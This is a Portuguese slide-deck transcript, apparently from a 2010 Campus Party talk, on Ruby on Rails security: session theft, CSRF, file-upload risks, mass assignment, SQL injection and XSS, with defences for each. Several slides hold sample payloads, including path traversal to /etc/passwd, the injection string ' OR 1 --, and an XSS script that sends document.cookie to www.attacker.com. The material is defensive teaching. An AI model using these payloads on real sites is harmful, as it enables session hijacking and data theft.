segurança e ruby on rails

121
Segurança & Ruby on Rails http://julio.monteiro.eti.br quinta-feira, 28 de janeiro de 2010

Upload: campus-party-brasil

Post on 19-May-2015

814 views

Category:

Technology


4 download

DESCRIPTION

Segurança e Ruby on Rails: O que você deve fazer, e o que o Rails pode fazer por você

TRANSCRIPT

Page 1: SegurançA E Ruby On Rails

Segurança &Ruby on Rails

http://julio.monteiro.eti.br

quinta-feira, 28 de janeiro de 2010

Page 2: SegurançA E Ruby On Rails

whoami

quinta-feira, 28 de janeiro de 2010

Page 3: SegurançA E Ruby On Rails

Joinville, SCquinta-feira, 28 de janeiro de 2010

Page 4: SegurançA E Ruby On Rails

CCT, UDESCquinta-feira, 28 de janeiro de 2010

Page 5: SegurançA E Ruby On Rails

quinta-feira, 28 de janeiro de 2010

Page 6: SegurançA E Ruby On Rails

quinta-feira, 28 de janeiro de 2010

Page 7: SegurançA E Ruby On Rails

Joinville,  SC

quinta-feira, 28 de janeiro de 2010

Page 8: SegurançA E Ruby On Rails

Curi.ba,  PRJoinville,  SC

quinta-feira, 28 de janeiro de 2010

Page 9: SegurançA E Ruby On Rails

Curi.ba,  PRJoinville,  SCSão  Paulo,  SP

quinta-feira, 28 de janeiro de 2010

Page 10: SegurançA E Ruby On Rails

Curi.ba,  PRJoinville,  SCSão  Paulo,  SP

Benguela,  Angola

quinta-feira, 28 de janeiro de 2010

Page 11: SegurançA E Ruby On Rails

@edevandro

@fracazo

@evandrodutra

@gilzanella

@machaduss

@jmonteiro

@garridovaz

@patrickespake

@robertoespinha

@jacksonrovina

@pitagorasgg

@anelize

@mspiazera

quinta-feira, 28 de janeiro de 2010

Page 12: SegurançA E Ruby On Rails

Sessões

quinta-feira, 28 de janeiro de 2010

Page 13: SegurançA E Ruby On Rails

Sessões

• HTTP é um protocolo stateless

• Sessão é identificada por um cookie (contendo uma identificação e um hash)

• Enviado do servidor para o cliente, e do cliente para o servidor

quinta-feira, 28 de janeiro de 2010

Page 14: SegurançA E Ruby On Rails

quinta-feira, 28 de janeiro de 2010

Page 15: SegurançA E Ruby On Rails

Roubo de Sessão

quinta-feira, 28 de janeiro de 2010

Page 16: SegurançA E Ruby On Rails

Roubo de Sessão

• Roubo de um arquivo de cookie por um “atacante”

• Permite que o atacante aja em nome da vítima

quinta-feira, 28 de janeiro de 2010

Page 17: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

quinta-feira, 28 de janeiro de 2010

Page 18: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede

quinta-feira, 28 de janeiro de 2010

Page 19: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

quinta-feira, 28 de janeiro de 2010

Page 20: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

quinta-feira, 28 de janeiro de 2010

Page 21: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

quinta-feira, 28 de janeiro de 2010

Page 22: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

Session Fixation

quinta-feira, 28 de janeiro de 2010

Page 23: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

Session Fixation (mais adiante)

quinta-feira, 28 de janeiro de 2010

Page 24: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

Session Fixation (mais adiante)

XSS

quinta-feira, 28 de janeiro de 2010

Page 25: SegurançA E Ruby On Rails

Como uma sessão pode ser roubada?

Roubo Como combater?

Sniffers em uma rede SSL (https)

Utilizar computadores “públicos”

Botão “logout”,expirar sessão

Session Fixation (mais adiante)

XSS (mais adiante)

quinta-feira, 28 de janeiro de 2010

Page 26: SegurançA E Ruby On Rails

Dica:

Nunca armazene objetos grandes em uma sessão.

quinta-feira, 28 de janeiro de 2010

Page 27: SegurançA E Ruby On Rails

Dica:

Nunca armazene informações críticas

em uma sessão.

quinta-feira, 28 de janeiro de 2010

Page 28: SegurançA E Ruby On Rails

Como uma sessão é armazenada?

quinta-feira, 28 de janeiro de 2010

Page 29: SegurançA E Ruby On Rails

Como uma sessão é armazenada?

• ActiveRecordStore: armazena no banco de dados (tabela “sessions”)

• CookieStore: armazena em um cookie do usuário

quinta-feira, 28 de janeiro de 2010

Page 30: SegurançA E Ruby On Rails

quinta-feira, 28 de janeiro de 2010

Page 31: SegurançA E Ruby On Rails

Replay Attack no CookieStore

quinta-feira, 28 de janeiro de 2010

Page 32: SegurançA E Ruby On Rails

Replay Attack no CookieStore

1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)

quinta-feira, 28 de janeiro de 2010

Page 33: SegurançA E Ruby On Rails

Replay Attack no CookieStore

1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)

2. Usuário compra algo custando R$40

quinta-feira, 28 de janeiro de 2010

Page 34: SegurançA E Ruby On Rails

Replay Attack no CookieStore

1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)

2. Usuário compra algo custando R$40

3. Sessão agora armazena que usuário tem R$10

quinta-feira, 28 de janeiro de 2010

Page 35: SegurançA E Ruby On Rails

Replay Attack no CookieStore

1. Usuário ativa um cupom de presente na sua loja online, ficando com R$50 de crédito (armazenado na sessão)

2. Usuário compra algo custando R$40

3. Sessão agora armazena que usuário tem R$10

4. Usuário sobreescreve a sessão atual pela sessão inicial, ficando com R$50 novamente

quinta-feira, 28 de janeiro de 2010

Page 36: SegurançA E Ruby On Rails

Session Fixation

quinta-feira, 28 de janeiro de 2010

Page 37: SegurançA E Ruby On Rails

Session Fixation

<script>document.cookie="_session_id=16d5b78abb

28e3d6206b60f22a03c8d9";</script>

quinta-feira, 28 de janeiro de 2010

Page 38: SegurançA E Ruby On Rails

Session Fixationquinta-feira, 28 de janeiro de 2010

Page 39: SegurançA E Ruby On Rails

Como combater Session Fixation?

Utilize reset_session ao realizar login e/ou armazenar algo do usuário (como IP ou

navegador).

quinta-feira, 28 de janeiro de 2010

Page 40: SegurançA E Ruby On Rails

Expirando sessões

quinta-feira, 28 de janeiro de 2010

Page 41: SegurançA E Ruby On Rails

Expirando sessões

• Expire-as de tempo em tempo (com base no updated_at e no created_at)

• Um simples rake no crontab já resolve

quinta-feira, 28 de janeiro de 2010

Page 42: SegurançA E Ruby On Rails

CSRF

quinta-feira, 28 de janeiro de 2010

Page 43: SegurançA E Ruby On Rails

CSRF

• Cross-Site Request Forgery

• Trata-se de aproveitar da sessão de um usuário, forçando-o (muitas vezes sem saber) a realizar determinada ação

quinta-feira, 28 de janeiro de 2010

Page 44: SegurançA E Ruby On Rails

CSRFquinta-feira, 28 de janeiro de 2010

Page 45: SegurançA E Ruby On Rails

Como combater CSRF?

Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e

DELETE se possível)

quinta-feira, 28 de janeiro de 2010

Page 46: SegurançA E Ruby On Rails

quinta-feira, 28 de janeiro de 2010

Page 47: SegurançA E Ruby On Rails

quinta-feira, 28 de janeiro de 2010

Page 48: SegurançA E Ruby On Rails

Como combater CSRF?

• Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível)

• Utilize um token

quinta-feira, 28 de janeiro de 2010

Page 49: SegurançA E Ruby On Rails

Como combater CSRF?

• Utilize os métodos HTTP da maneira correta (GET e POST, obrigatoriamente; e PUT e DELETE se possível)

• Utilize um token

quinta-feira, 28 de janeiro de 2010

Page 50: SegurançA E Ruby On Rails

Injeção em Redirecionamentos

quinta-feira, 28 de janeiro de 2010

Page 52: SegurançA E Ruby On Rails

Como combater injeções em Redirecionamentos?

Não aceite URLs (ou partes dela)como parâmetro.

quinta-feira, 28 de janeiro de 2010

Page 53: SegurançA E Ruby On Rails

Uploads de arquivos

quinta-feira, 28 de janeiro de 2010

Page 54: SegurançA E Ruby On Rails

Uploads de arquivos

• Algumas (várias?) aplicações aceitam uploads, recebendo um arquivo e um nome de arquivo.

• Se você armazena os arquivos em /var/www/uploads, imagine se alguém fizer upload de um arquivo chamado../../../etc/passwd ?

quinta-feira, 28 de janeiro de 2010

Page 55: SegurançA E Ruby On Rails

Como combater uploads maliciosos?

Evite receber o nome do arquivo, ou crie um filtro com expressão regular.

quinta-feira, 28 de janeiro de 2010

Page 56: SegurançA E Ruby On Rails

DoS por uploads

quinta-feira, 28 de janeiro de 2010

Page 57: SegurançA E Ruby On Rails

DoS por uploads

• Se seu site processa arquivos (como imagens, gerando miniaturas), nunca faça-o sincronamente.

• Imagine alguém enviando milhares de arquivos ao mesmo tempo?

quinta-feira, 28 de janeiro de 2010

Page 58: SegurançA E Ruby On Rails

Como combater DoS por uploads?

Processe arquivos assincronamente (em um daemon ou em um cron); se possível, até em

uma máquina separada.

quinta-feira, 28 de janeiro de 2010

Page 59: SegurançA E Ruby On Rails

Upload de executáveis

quinta-feira, 28 de janeiro de 2010

Page 60: SegurançA E Ruby On Rails

Upload de executáveis

• Você terá problemas se armazenar seus arquivos em algum local "autorizado" a executar executáveis (como .CGI no Apache Document Directory do seu Virtual Host)

quinta-feira, 28 de janeiro de 2010

Page 61: SegurançA E Ruby On Rails

Como combater DoS por uploads?

Simplesmente tenha certeza que seu servidor web não está executando arquivos naquele

diretório.

quinta-feira, 28 de janeiro de 2010

Page 62: SegurançA E Ruby On Rails

Downloads não autorizados

quinta-feira, 28 de janeiro de 2010

Page 63: SegurançA E Ruby On Rails

Downloads não autorizados

• Evite que os usuários "escolham" o que querem baixar, como em:

quinta-feira, 28 de janeiro de 2010

Page 64: SegurançA E Ruby On Rails

Downloads não autorizados

• Evite que os usuários "escolham" o que querem baixar, como em:

quinta-feira, 28 de janeiro de 2010

Page 65: SegurançA E Ruby On Rails

Como combater downloads não autorizados?

quinta-feira, 28 de janeiro de 2010

Page 66: SegurançA E Ruby On Rails

Como combater downloads não autorizados?

Opcionalmente, armazene o nome do arquivo no banco de dados, identificando-

o para o usuário através de um id.

quinta-feira, 28 de janeiro de 2010

Page 67: SegurançA E Ruby On Rails

Mass Assignment

quinta-feira, 28 de janeiro de 2010

Page 68: SegurançA E Ruby On Rails

Mass Assignment

• Você sabia que o "script/generate scaffold" não gera o código mais completo e seguro do mundo? :)

quinta-feira, 28 de janeiro de 2010

Page 69: SegurançA E Ruby On Rails

Mass Assignment

quinta-feira, 28 de janeiro de 2010

Page 71: SegurançA E Ruby On Rails

Como combater aproveitamentos do mass assignment?

quinta-feira, 28 de janeiro de 2010

Page 72: SegurançA E Ruby On Rails

Como combater aproveitamentos do mass assignment?

Modo paranóico:

quinta-feira, 28 de janeiro de 2010

Page 73: SegurançA E Ruby On Rails

Força bruta nologin do usuário

quinta-feira, 28 de janeiro de 2010

Page 74: SegurançA E Ruby On Rails

Como combater ataque de força bruta?

CAPTCH depois de determinadas tentativas falhas de login.

Utilize uma mensagem de erro genérica, como “usuário OU senha inválido, tente novamente”.

quinta-feira, 28 de janeiro de 2010

Page 75: SegurançA E Ruby On Rails

Hijacks diversos

quinta-feira, 28 de janeiro de 2010

Page 76: SegurançA E Ruby On Rails

Hijacks diversos

• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.

quinta-feira, 28 de janeiro de 2010

Page 77: SegurançA E Ruby On Rails

Hijacks diversos

• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.

• Email: requira que o usuário digite a antiga senha para conseguir mudar

quinta-feira, 28 de janeiro de 2010

Page 78: SegurançA E Ruby On Rails

Hijacks diversos

• Senhas: requira que o usuário digite a antiga senha para conseguir mudar.

• Email: requira que o usuário digite a antiga senha para conseguir mudar

• Outros: lembra do “problema” do GMail?

quinta-feira, 28 de janeiro de 2010

Page 79: SegurançA E Ruby On Rails

CAPTCHA

quinta-feira, 28 de janeiro de 2010

Page 80: SegurançA E Ruby On Rails

CAPTCHA negativo

quinta-feira, 28 de janeiro de 2010

Page 81: SegurançA E Ruby On Rails

Informações sensíveis no Log

quinta-feira, 28 de janeiro de 2010

Page 82: SegurançA E Ruby On Rails

Como combater informações sensíveis no log?

quinta-feira, 28 de janeiro de 2010

Page 83: SegurançA E Ruby On Rails

Expressões regulares

quinta-feira, 28 de janeiro de 2010

Page 84: SegurançA E Ruby On Rails

Expressões regulares

quinta-feira, 28 de janeiro de 2010

Page 85: SegurançA E Ruby On Rails

Expressões regulares

quinta-feira, 28 de janeiro de 2010

Page 86: SegurançA E Ruby On Rails

Como combater aproveitamento de expressões regulares?

Use \A ao invés de ^

Use \Z ao invés de $

quinta-feira, 28 de janeiro de 2010

Page 87: SegurançA E Ruby On Rails

Escalação de privilégios

quinta-feira, 28 de janeiro de 2010

Page 88: SegurançA E Ruby On Rails

http://www.example.com/projects/1

Escalação de privilégios

quinta-feira, 28 de janeiro de 2010

Page 89: SegurançA E Ruby On Rails

Escalação de privilégios

quinta-feira, 28 de janeiro de 2010

Page 90: SegurançA E Ruby On Rails

Como combater aproveitamento de expressões regulares?

quinta-feira, 28 de janeiro de 2010

Page 91: SegurançA E Ruby On Rails

Whitelist > Blacklist

quinta-feira, 28 de janeiro de 2010

Page 92: SegurançA E Ruby On Rails

Whitelist rula!

• before_filter :only => [...] ao invés de before_filter :except => [...]

quinta-feira, 28 de janeiro de 2010

Page 93: SegurançA E Ruby On Rails

Whitelist rula!

• before_filter :only => [...] ao invés de before_filter :except => [...]

• attr_accessible ao invés de attr_protected

quinta-feira, 28 de janeiro de 2010

Page 94: SegurançA E Ruby On Rails

Whitelist rula!

• before_filter :only => [...] ao invés de before_filter :except => [...]

• attr_accessible ao invés de attr_protected

• Permita somente <strong> ao invés de remover <script>

quinta-feira, 28 de janeiro de 2010

Page 95: SegurançA E Ruby On Rails

Injeção SQL

quinta-feira, 28 de janeiro de 2010

Page 96: SegurançA E Ruby On Rails

Injeção SQL

quinta-feira, 28 de janeiro de 2010

Page 97: SegurançA E Ruby On Rails

Injeção SQL

' OR 1 --

quinta-feira, 28 de janeiro de 2010

Page 98: SegurançA E Ruby On Rails

Injeção SQL

' OR 1 --

SELECT * FROM projects WHERE name = '' OR 1 --'

quinta-feira, 28 de janeiro de 2010

Page 99: SegurançA E Ruby On Rails

Como combater injeções SQL?

quinta-feira, 28 de janeiro de 2010

Page 100: SegurançA E Ruby On Rails

XSS

quinta-feira, 28 de janeiro de 2010

Page 101: SegurançA E Ruby On Rails

XSS

• Cross Site Scripting

• Atualmente é o tipo de ataque mais comum, segundo a Symantec Global Internet Security Threat Report.

• Mais de 510.000 sites tiveram este tipo de ataque só em abril de 2008.

• Diversas ferramentas para auxiliar estes ataques, como o MPack.

quinta-feira, 28 de janeiro de 2010

Page 102: SegurançA E Ruby On Rails

XSS: Injeção JavaScript

quinta-feira, 28 de janeiro de 2010

Page 103: SegurançA E Ruby On Rails

XSS: Injeção JavaScript

<script>alert('Hello');</script>

<table background="javascript:alert('Hello')">

quinta-feira, 28 de janeiro de 2010

Page 104: SegurançA E Ruby On Rails

XSS: Roubo de Cookie

quinta-feira, 28 de janeiro de 2010

Page 105: SegurançA E Ruby On Rails

XSS: Roubo de Cookie

<script>document.write(document.cookie);</script>

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>

quinta-feira, 28 de janeiro de 2010

Page 106: SegurançA E Ruby On Rails

XSS: Defacement

quinta-feira, 28 de janeiro de 2010

Page 107: SegurançA E Ruby On Rails

XSS: Defacement

<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe>

quinta-feira, 28 de janeiro de 2010

Page 108: SegurançA E Ruby On Rails

Como combater estes ataques XSS?

Limpe a “entrada” do usuário com o método sanatize.

quinta-feira, 28 de janeiro de 2010

Page 109: SegurançA E Ruby On Rails

Como combater estes ataques XSS?

Limpe a “entrada” do usuário com o método sanatize.

Limpe a “saída” (impressão) com escapeHTML(), também chamado de h().

quinta-feira, 28 de janeiro de 2010

Page 110: SegurançA E Ruby On Rails

Como combater estes ataques XSS?

Limpe a “entrada” do usuário com o método sanatize.

Limpe a “saída” (impressão) com escapeHTML(), também chamado de h().

<%=h @user.name %>

quinta-feira, 28 de janeiro de 2010

Page 111: SegurançA E Ruby On Rails

XSS: Injeção CSS

quinta-feira, 28 de janeiro de 2010

Page 112: SegurançA E Ruby On Rails

XSS: Injeção CSS

background:url('javascript:alert(1)')

quinta-feira, 28 de janeiro de 2010

Page 113: SegurançA E Ruby On Rails

Como combater estes ataque XSS de injeção CSS?

Evite CSS personalizado.

quinta-feira, 28 de janeiro de 2010

Page 114: SegurançA E Ruby On Rails

Dicas sobre a interface administrativa

quinta-feira, 28 de janeiro de 2010

Page 115: SegurançA E Ruby On Rails

• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.

Dicas sobre a interface administrativa

quinta-feira, 28 de janeiro de 2010

Page 116: SegurançA E Ruby On Rails

• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.

• Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa).

Dicas sobre a interface administrativa

quinta-feira, 28 de janeiro de 2010

Page 117: SegurançA E Ruby On Rails

• Coloque-a em um subdomínio distinto, como admin.campusparty.com.br. Isso evita truques com Cookies.

• Se possível, limite o acesso administrativo a um número restritos de IP (ou a uma faixa).

• Que tal uma senha especial para ações importantes, como deletar usuários?

Dicas sobre a interface administrativa

quinta-feira, 28 de janeiro de 2010

Page 118: SegurançA E Ruby On Rails

http://www.pragprog.comquinta-feira, 28 de janeiro de 2010

Page 119: SegurançA E Ruby On Rails

http://www.rorsecurity.info

quinta-feira, 28 de janeiro de 2010

Page 120: SegurançA E Ruby On Rails

http://guias.rubyonrails.pro.br/

quinta-feira, 28 de janeiro de 2010

Page 121: SegurançA E Ruby On Rails

Segurança &Ruby on Rails

http://julio.monteiro.eti.br

quinta-feira, 28 de janeiro de 2010